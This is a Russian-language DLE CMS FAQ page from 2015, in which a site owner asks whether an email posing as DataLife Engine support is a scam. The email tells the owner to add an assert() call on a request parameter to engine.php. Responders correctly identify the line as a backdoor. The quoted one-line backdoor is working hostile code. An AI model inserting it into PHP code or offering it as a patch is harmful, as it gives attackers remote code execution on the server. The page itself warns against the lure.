Не нравятся результаты поиска? Попробуйте другой поиск!
DLE FAQ » Все вопросы » Ламерские вопросы » Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?


     25.05.2015    Все вопросы » Ламерские вопросы    2449

вопрос
Здравствуйте. У меня сайт под управлением DLE 10.3. Сегодня на почту мне пришло письмо от support@dle-news.ru такого содержания:



Это письмо вам отправил support с сайта site.com
____________________________________________________________________________________
Уважаемые владельцы!
Благодарим Вас за использование CMS «DataLife Engine».

Сообщаем Вам о том, что мы зафиксировали уязвимость во всех версиях CMS «DataLife Engine».

Степень опасности: Высокая

Проблема: Недостаточная фильтрация данных, которая может позволить при определенных настройках серверного ПО читать содержимое файлов.

Для исправления откройте файл: /engine/engine.php и в самое начало файла после строчки
<?php

добавьте:
assert(stripslashes($_REQUEST[noscript]));

Устраните уязвимость.

С уважением,
Команда «DataLife Engine»




Сайт раньше работал на DLE 9.3 потом было обновление сразу на 10.3. На другие сайты такое не приходило. Не обман ли это?

Ответил: Sander


Можете не сомневаться, это злоумышленники просят вас прописать бекдор.

6 комментариев

LazyDev
PHP-developer

LazyDev - 25 мая 2015 10:06 -

Все баги на офф сайте публикуют, остальному не доверяйте

Мой блог: LazyDev.pro

Помогаю с решением проблем на платной основе.

13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 10:40 -

Я уже тоже так подумал. На официальном сайте последнее исправление было для 10.0

Dezma
Юзер

Dezma - 25 мая 2015 12:14 -

Такое поставите, Шелл зальют к вам на сайт и будут ссылки на Сапе продавать)

vadims
Гости

vadims - 25 мая 2015 12:51 -

Сегодня на почту мне пришло письмо от support@dle-news.ru

Через какой сервер было отправлено письмо?

13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 12:55 -

vadims я не знаю как это посмотреть

13Aleksandr
Юзер

13Aleksandr - 25 мая 2015 13:00 -

Письмо отправили с моего же сайта, через обратную связь. Что в принципе и настораживает.

Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы

наверх